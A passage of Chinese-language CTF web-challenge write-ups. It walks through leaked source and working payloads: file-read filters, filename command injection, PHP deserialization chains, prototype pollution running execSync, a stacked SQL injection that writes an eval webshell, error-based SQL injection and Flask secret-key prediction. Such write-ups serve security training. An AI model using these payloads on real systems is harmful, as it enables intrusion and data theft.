if($_POST['action'] === 'register'){if (isset($_POST['username']) and isset($_POST['password'])){$user = $_POST['username'];$pass = $_POST['password'];$res = register($user,$pass);if($res){Header("Location: index.php");}else{$errmsg = "Username has been registered!";}}else{Header("Location: error_parameter.php");}
}
if (!$_SESSION['login']) {include "templates/register.html";
} else {Header("Location : user.php?page=info");
}?>

config:

<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){echo "no sql connection".mysqli_connect_error();$mysqli=null;die();
}
?>

user:

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){Header("Location: index.php");}
if($_SESSION['isadmin'] === '1'){$oper_you_can_do = $OPERATE_admin;
}else{$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){if(!isset($_GET['page']) || $_GET['page'] === ''){$page = 'info';}else {$page = $_GET['page'];}
}
else{if(!isset($_GET['page'])|| $_GET['page'] === ''){$page = 'guest';}else {$page = $_GET['page'];if($page === 'info'){
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");Header("Location: user.php?page=guest");}}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

login:

<?php
require_once "function.php";
if($_POST['action'] === 'login'){if (isset($_POST['username']) and isset($_POST['password'])){$user = $_POST['username'];$pass = $_POST['password'];$res = login($user,$pass);if(!$res){Header("Location: index.php");}else{Header("Location: user.php?page=info");}}else{Header("Location: error_parameter.php");}
}else if($_REQUEST['action'] === 'logout'){logout();
}else{Header("Location: error_parameter.php");
}?>

这里的parse_url有漏洞

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

然后看到有个文件上传:

有个php,看看

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){die("error:can not move");}
}else{die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){unlink($newfile);die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){unlink($newfile);
}
?>

看到了system,

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

也就是说我们可以构造 ;`ls 来命令执行

但是

那就是不是这个,看看上文的两个文件

ffffllllaaaaggg没用

在这里

改filename

终于

那就用cd ..;ls

cd ..;tac f*

[GYCTF2020]Easyphp

反序类化

www.zip泄露:
index.php

<?php
require_once "lib.php";if(isset($_GET['action'])){require_once(__DIR__."/".$_GET['action'].".php");
}
else{if($_SESSION['login']==1){echo "<script>window.location.href='./index.php?action=update'</script>";}else{echo "<script>window.location.href='./index.php?action=login'</script>";}
}
?>

lib.php

<?php
error_reporting(0);
session_start();
function safe($parm){$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");return str_replace($array,'hacker',$parm);
}
class User
{public $id;public $age=null;public $nickname=null;public function login() {if(isset($_POST['username'])&&isset($_POST['password'])){$mysqli=new dbCtrl();$this->id=$mysqli->login('select id,password from user where username=?');if($this->id){$_SESSION['id']=$this->id;$_SESSION['login']=1;echo "你的ID是".$_SESSION['id'];echo "你好!".$_SESSION['token'];echo "<script>window.location.href='./update.php'</script>";return $this->id;}}
}public function update(){$Info=unserialize($this->getNewinfo());$age=$Info->age;$nickname=$Info->nickname;$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//这个功能还没有写完 先占坑}public function getNewInfo(){$age=$_POST['age'];$nickname=$_POST['nickname'];return safe(serialize(new Info($age,$nickname)));}public function __destruct(){return file_get_contents($this->nickname);//危}public function __toString(){$this->nickname->update($this->age);return "0-0";}
}
class Info{public $age;public $nickname;public $CtrlCase;public function __construct($age,$nickname){$this->age=$age;$this->nickname=$nickname;}public function __call($name,$argument){echo $this->CtrlCase->login($argument[0]);}
}
Class UpdateHelper{public $id;public $newinfo;public $sql;public function __construct($newInfo,$sql){$newInfo=unserialize($newInfo);$upDate=new dbCtrl();}public function __destruct(){echo $this->sql;}
}
class dbCtrl
{public $hostname="127.0.0.1";public $dbuser="root";public $dbpass="root";public $database="test";public $name;public $password;public $mysqli;public $token;public function __construct(){$this->name=$_POST['username'];$this->password=$_POST['password'];$this->token=$_SESSION['token'];}public function login($sql){$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);if ($this->mysqli->connect_error) {die("连接失败,错误:" . $this->mysqli->connect_error);}$result=$this->mysqli->prepare($sql);$result->bind_param('s', $this->name);$result->execute();$result->bind_result($idResult, $passwordResult);$result->fetch();$result->close();if ($this->token=='admin') {return $idResult;}if (!$idResult) {echo('用户不存在!');return false;}if (md5($this->password)!==$passwordResult) {echo('密码错误!');return false;}$_SESSION['token']=$this->name;return $idResult;}public function update($sql){//还没来得及写}
}

login.php

<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>login</title>
<center><form action="login.php" method="post" style="margin-top: 300"><h2>百万前端的用户信息管理系统</h2><h3>半成品系统 留后门的程序员已经跑路</h3><input type="text" name="username" placeholder="UserName" required><br><input type="password" style="margin-top: 20" name="password" placeholder="password" required><br><button style="margin-top:20;" type="submit">登录</button><br><img src='img/1.jpg'>大家记得做好防护</img><br><br>
<?php 
$user=new user();
if(isset($_POST['username'])){if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){die("<br>Damn you, hacker!");}if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){die("Damn you, hacker!");}$user->login();
}
?></form>
</center>

update.php

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){require_once("flag.php");echo $flag;
}?>

以admin身份登陆就给flag

passwd等于md5加密后的值,token=admin

sql查询:

怎么构造呢

入点:

既然有echo,就可以toString

将nickname = new Info,就可以调用_call()

然后 CtrlCase = new User,即可调用login()

脚本:c4ca4238a0b923820dcc509a6f75849b就是1的md5

<?php
class User
{public $age = null;public $nickname = null;public function __construct(){$this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';$this->nickname = new Info();}
}
class Info
{public $CtrlCase;public function __construct(){$this->CtrlCase = new dbCtrl();}
}
class UpdateHelper
{public $sql;public function __construct(){$this->sql = new User();}
}
class dbCtrl
{public $name = "admin";public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

然后就是这个东西:

function safe($parm){

$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");

return str_replace($array,'hacker',$parm);

}

替换字符?字符串逃逸

这里反序列化,继续跟踪:

在这里

这里序列化,我们就是传入age和nickname参数,所以要用字符串逃逸

看看原本是怎么样的:

<?phpclass Info{public $age=1;public $nickname=2;public $CtrlCase=3;
}$a=new Info();echo (serialize($a));

O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";i:2;s:8:"CtrlCase";i:3;}

然后这里的info对应3个变量,所以我们可以这么改:

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";s:263:"";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";i:3;}

一共263个,我们就用263个union把他挤出来

O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";s:1578:"unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";i:3;}

当变成hacker是,红色部分就会被挤出nickname变量的范围

因为满足3个变量,所以}}}}}后的部分自动舍弃

payload:

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

然后回到登录界面

admin + 任意密码登录:

[GYCTF2020]Ez_Express

强制大写漏洞,原型链污染

扫描www.zip

index.js

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
const clone = (a) => {return merge({}, a);
}
function safeKeyword(keyword) {if(keyword.match(/(admin)/is)) {return keyword}return undefined
}router.get('/', function (req, res) {if(!req.session.user){res.redirect('/login');}res.outputFunctionName=undefined;res.render('index',data={'user':req.session.user.user});
});router.get('/login', function (req, res) {res.render('login');
});router.post('/login', function (req, res) {if(req.body.Submit=="register"){if(safeKeyword(req.body.userid)){res.end("<script>alert('forbid word');history.go(-1);</script>") }req.session.user={'user':req.body.userid.toUpperCase(),'passwd': req.body.pwd,'isLogin':false}res.redirect('/'); }else if(req.body.Submit=="login"){if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){req.session.user.isLogin=true;}else{res.end("<script>alert('error passwd');history.go(-1);</script>")}}res.redirect('/'); ;
});
router.post('/action', function (req, res) {if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body);res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

action路由只能由admin来用

看看登录的逻辑:

调用了safeKeyword,对user进行转换,看看这个可不可以绕过

参考文章

"ı"、"ſ" 、 "K"

所以就是admın

然后呢?就是原型链污染:

这里有个outputFunctionName

js审计如果看见merge,clone函数,可以往原型链污染靠

payload:

{"lua":"123","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}

这里记得改成application/json

然后就访问info得flag

[SUCTF 2018]MultiSQL

预处理注入

代码审计

先注册,

这里id可以堆叠注入, fuzz测试后发现过滤了union,select ,&,|

写入shell:

select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/1.php';

使用预处理注入

char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,49,46,112,104,112,39,59)

payload:

?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,49,46,112,104,112,39,59);prepare query from @sql;execute query;

[SUCTF 2018]annonymous

create_function函数名%00lambda_%d

创建一个匿名函数,并将其赋值给变量 $MY,die在结束的同时会执行里面的内容(cat flag.php)

create_function文章

%00lambda_%d ,而%d则是一个计数器会递增,用来记录create_function()这个函数执行了多少次

可以直接func_name=%00lambda_1然后用bp爆破一直请求

因为这个服务器是一个多线程,所以%d就会从1~9不断循环,一直爆破知道刚好到1就欧克

(不过这题环境有点脆弱,搞多了直接500了)

[RootersCTF2019]babyWeb

报错注入

非预期?

1 || 1=1 limit 0,1

加个 limit 0,1限制只读取第一行

还有一种就是报错注入:

1 || (extractvalue(1,concat(0x5c,database(),0x5c)))%23

1||(extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))%23

这里虽然过滤了',但是我们可以用禁止:

'users'——>0x7573657273

1||(extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name=0x7573657273))))%23

加上 limit 4,1

1||(extractvalue(1,concat(0x5c,(select uniqueid from users limit 0,1))))%23

然后直接search=837461526918364526也可以出flag

[安洵杯 2019]不是文件上传

序列化protect绕过

看到这个界面感觉是sql

在github上查看源码:

<?php
// 定义一个名为 helper 的类,用于处理图片上传和相关操作
class helper {// 定义一个受保护的属性 $folder,用于存储上传图片的文件夹路径protected $folder = "pic/";// 定义一个受保护的属性 $ifview,用于控制文件查看功能是否可用,初始值为 Falseprotected $ifview = False;// 定义一个受保护的属性 $config,用于指定配置文件的名称protected $config = "config.txt";// 注释说明该类中的某些功能还不完善,尚未开放// 定义一个公共方法 upload,用于处理图片上传操作,默认表单文件字段名为 "file"public function upload($input="file"){// 调用 getfile 方法获取上传文件的相关信息$fileinfo = $this->getfile($input);// 初始化一个空数组 $array,用于存储文件的详细信息$array = array();// 将文件的标题信息存入数组$array["title"] = $fileinfo['title'];// 将文件名存入数组$array["filename"] = $fileinfo['filename'];// 将文件扩展名存入数组$array["ext"] = $fileinfo['ext'];// 将文件存储路径存入数组$array["path"] = $fileinfo['path'];// 使用 getimagesize 函数获取上传图片的尺寸信息,返回一个数组$img_ext = getimagesize($_FILES[$input]["tmp_name"]);// 从尺寸信息数组中提取图片的宽度和高度,存入新数组 $my_ext$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);// 使用 serialize 函数将 $my_ext 数组序列化为字符串,并将其存入 $array 数组的 "attr" 键中$array["attr"] = serialize($my_ext);// 调用 save 方法将文件信息保存到数据库,并获取保存后的记录 ID$id = $this->save($array);// 如果保存操作返回的 ID 为 0,表示保存失败,输出错误信息并终止脚本if ($id == 0){die("Something wrong!");}// 输出换行符echo "<br>";// 输出上传成功的提示信息,包含图片的 IDecho "<p>Your images is uploaded successfully. And your image's id is $id.</p>";}// 定义一个公共方法 getfile,用于获取上传文件的相关信息public function getfile($input){// 检查 $input 是否被设置if(isset($input)){// 调用 check 方法对上传文件的信息进行检查,并将结果存储在 $rs 中$rs = $this->check($_FILES[$input]);}// 返回检查后的文件信息return $rs;}// 定义一个公共方法 check,用于检查上传文件的合法性public function check($info){// 生成一个唯一的文件名,使用当前时间和唯一 ID 进行 MD5 加密,截取中间 16 位$basename = substr(md5(time().uniqid()),9,16);// 获取上传文件的原始文件名$filename = $info["name"];// 从文件名中提取文件扩展名$ext = substr(strrchr($filename, '.'), 1);// 定义一个允许上传的文件扩展名数组$cate_exts = array("jpg","gif","png","jpeg");// 检查上传文件的扩展名是否在允许的扩展名数组中if(!in_array($ext,$cate_exts)){// 如果不在允许的扩展名数组中,输出错误信息并终止脚本die("<p>Please upload the correct image file!!!</p>");}// 从文件名中去除扩展名,得到文件标题$title = str_replace(".".$ext,'',$filename);// 返回一个包含文件标题、文件名、扩展名和存储路径的数组return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);}// 定义一个公共方法 save,用于将文件信息保存到数据库public function save($data){// 检查 $data 是否为空或不是数组if(!$data || !is_array($data)){// 如果条件满足,输出错误信息并终止脚本die("Something wrong!");}// 调用 insert_array 方法将文件信息插入数据库,并获取插入记录的 ID$id = $this->insert_array($data);// 返回插入记录的 IDreturn $id;}// 定义一个公共方法 insert_array,用于将数组数据插入数据库public function insert_array($data){// 连接到本地 MySQL 数据库,使用用户名 "r00t"、密码 "r00t" 和数据库名 "pic_base"$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");// 检查数据库连接是否失败if (mysqli_connect_errno($con)){// 如果连接失败,输出错误信息并终止脚本die("Connect MySQL Fail:".mysqli_connect_error());}// 初始化一个空数组 $sql_fields,用于存储 SQL 语句中的字段名$sql_fields = array();// 初始化一个空数组 $sql_val,用于存储 SQL 语句中的字段值$sql_val = array();// 遍历 $data 数组,将字段名和字段值分别存储到 $sql_fields 和 $sql_val 数组中foreach($data as $key=>$value){// 对字段名中的特殊字符进行替换$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);// 对字段值中的特殊字符进行替换$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);// 将处理后的字段名添加到 $sql_fields 数组中,并添加反引号$sql_fields[] = "`".$key_temp."`";// 将处理后的字段值添加到 $sql_val 数组中,并添加单引号$sql_val[] = "'".$value_temp."'";}// 构建 SQL 插入语句,将字段名和字段值分别用逗号连接$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";// 执行 SQL 插入语句mysqli_query($con, $sql);// 获取插入记录的 ID$id = mysqli_insert_id($con);// 关闭数据库连接mysqli_close($con);// 返回插入记录的 IDreturn $id;}// 定义一个公共方法 view_files,用于查看文件内容public function view_files($path){// 检查 $ifview 属性是否为 Falseif ($this->ifview == False){// 如果为 False,返回 False,表示文件查看功能不可用return False;// 注释说明该功能还不完善,尚未开放}// 使用 file_get_contents 函数读取文件内容$content = file_get_contents($path);// 输出文件内容echo $content;}// 定义析构函数,当对象被销毁时自动调用function __destruct(){# 读取一些配置文件的内容// 调用 view_files 方法读取配置文件内容$this->view_files($this->config);}
}?>

这里有一个file_ge_contents函数,在_destruct中调用

这里的ifview要为true

参数是这个

反序列化:

<?php
class helper {protected $ifview = True; protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>

O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}

然后ifview和config因为是protect,用\0\0\0来绕:

O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

sql语句:

$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";

然后这里attr可以序列化,然后因为文件名不能有'',就先16进制编码:

4F3A363A2268656C706572223A323A7B733A393A225C305C305C30696676696577223B623A313B733A393A225C305C305C30636F6E666967223B733A353A222F666C6167223B7D

然后就构造

INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES()他是这样一种形式,然后我们要

让反序列化的在attr位置上,因为我们可以改变文件名控制title,所以直接截断

filename=1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg

INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg','源filename','源ext','源path','源attr')

[强网杯 2019]Upload

扫描发现www.tar.gz

login.php

<?php
namespace app\web\controller;
use think\Controller;class Login extends Controller
{public $checker;public function __construct(){$this->checker=new Index();}public function login(){if($this->checker){if($this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";$this->redirect($curr_url,302);exit();}}if(input("?post.email") && input("?post.password")){$email=input("post.email","","addslashes");$password=input("post.password","","addslashes");$user_info=db("user")->where("email",$email)->find();if($user_info) {if (md5($password) === $user_info['password']) {$cookie_data=base64_encode(serialize($user_info));cookie("user",$cookie_data,3600);$this->success('Login successful!', url('../home'));} else {$this->error('Login failed!', url('../index'));}}else{$this->error('email not registed!',url('../index'));}}else{$this->error('email or password is null!',url('../index'));}}}

这里有个序列化

register.php

<?php
namespace app\web\controller;
use think\Controller;class Register extends Controller
{public $checker;public $registed;public function __construct(){$this->checker=new Index();}public function register(){if ($this->checker) {if($this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";$this->redirect($curr_url,302);exit();}}if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {$email = input("post.email", "", "addslashes");$password = input("post.password", "", "addslashes");$username = input("post.username", "", "addslashes");if($this->check_email($email)) {if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {$user_info = ["email" => $email, "password" => md5($password), "username" => $username];if (db("user")->insert($user_info)) {$this->registed = 1;$this->success('Registed successful!', url('../index'));} else {$this->error('Registed failed!', url('../index'));}} else {$this->error('Account already exists!', url('../index'));}}else{$this->error('Email illegal!', url('../index'));}} else {$this->error('Something empty!', url('../index'));}}public function check_email($email){$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";preg_match($pattern, $email, $matches);if(empty($matches)){return 0;}else{return 1;}}public function __destruct(){if(!$this->registed){$this->checker->index();}}}

有__destruct()方法,入点就是这个了

checker->index(),这个怎么利用呢?

profile

<?php
namespace app\web\controller;use think\Controller;class Profile extends Controller
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __construct(){$this->checker=new Index();$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);@chdir("../public/upload");if(!is_dir($this->upload_menu)){@mkdir($this->upload_menu);}@chdir($this->upload_menu);}public function upload_img(){if($this->checker){if(!$this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";$this->redirect($curr_url,302);exit();}}if(!empty($_FILES)){$this->filename_tmp=$_FILES['upload_file']['tmp_name'];$this->filename=md5($_FILES['upload_file']['name']).".png";$this->ext_check();}if($this->ext) {if(getimagesize($this->filename_tmp)) {@copy($this->filename_tmp, $this->filename);@unlink($this->filename_tmp);$this->img="../upload/$this->upload_menu/$this->filename";$this->update_img();}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}}public function update_img(){$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();if(empty($user_info['img']) && $this->img){if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){$this->update_cookie();$this->success('Upload img successful!', url('../home'));}else{$this->error('Upload file failed!', url('../index'));}}}public function update_cookie(){$this->checker->profile['img']=$this->img;cookie("user",base64_encode(serialize($this->checker->profile)),3600);}public function ext_check(){$ext_arr=explode(".",$this->filename);$this->ext=end($ext_arr);if($this->ext=="png"){return 1;}else{return 0;}}public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}}

看到_call方法,所以checker=new Profile就可以调用_call()(没有index()这个方法)

但是$name没有这个属性,所以又会触发_get()

expect参数可控,我们将Profile的成员变量except赋值为以index为数组键,upload_img()为键值的数组

$except=['index'=>'upload_img']

接着看到这里:

这里就是会把filename_tmp的内容复制到filename,那我们就可以先filename_temp写木马,然后filename改成php后缀

抓包查看:

传马:

看路径:

/upload/e0cd7c28b74327b3bd1472378bdfbfa2/f3ccdd27d2000e3f9255a7e3e2c48800.png

<?php
namespace app\web\controller;
class Profile
{public $checker=0;public $filename_tmp="../upload/e0cd7c28b74327b3bd1472378bdfbfa2/f3ccdd27d2000e3f9255a7e3e2c48800.png";public $filename="../upload/1.php";public $ext=1;public $except=array('index'=>'upload_img');}
class Register
{public $checker;public $registed=0;
}$a=new Register();
$a->checker=new Profile();
echo base64_encode(serialize($a));

TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo1OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzk6Ii4uL3VwbG9hZC9lMGNkN2MyOGI3NDMyN2IzYmQxNDcyMzc4YmRmYmZhMi9mM2NjZGQyN2QyMDAwZTNmOTI1NWE3ZTNlMmM0ODgwMC5wbmciO3M6ODoiZmlsZW5hbWUiO3M6MTU6Ii4uL3VwbG9hZC8xLnBocCI7czozOiJleHQiO2k6MTtzOjY6ImV4Y2VwdCI7YToxOntzOjU6ImluZGV4IjtzOjEwOiJ1cGxvYWRfaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2k6MDt9

然后我看其他师傅说该cookie直接访问,但是我试了很多次直接显示file no found 搞不懂

[CISCN2019 华东南赛区]Web4

flask-session加密/伪随机数

read?url=/etc/passwd

测试:read?url=file:///etc/passwd,没东西

/read?url=local_file:///etc/passwd 可以,所以这题就是python后端flask

/read?url=local_file:///app/app.py看源码:

import re, random, uuid, urllib
from flask import Flask, session, requestapp = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True@app.route('/')
def index():session['username'] = 'www-data'return 'Hello World! Read somethings'@app.route('/read')
def read():try:url = request.args.get('url')m = re.findall('^file.*', url, re.IGNORECASE)n = re.findall('flag', url, re.IGNORECASE)if m or n:return 'No Hack'res = urllib.urlopen(url)return res.read()except Exception as ex:print(str(ex))return 'no response'@app.route('/flag')
def flag():if session and session['username'] == 'fuck':return open('/flag.txt').read()else:return 'Access denied'if __name__ == '__main__':app.run(debug=True, host="0.0.0.0")

这里:

这个一眼jwt

然后

random.seed(uuid.getnode())

app.config['SECRET_KEY'] = str(random.random() * 233)

这里使用了伪随机数,也就是当seed确定时,接下来的随机数都是可预测的。
seed使用了uuid.getnode()函数的值,该函数用于获取Mac地址并将其转换为整数

/read?url=local_file:///sys/class/net/eth0/address

读取mac地址: ea:62:fb:6a:25:c7

import random
random.seed(0xea62fb6a25c7)
print(str(random.random()*233))

然后这里是说出题的时候是用python2跑的,2和3小数点后面保留位数不一样

102.787116078 06235

脚本:

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0raise Exception('Must be using at least Python 3')
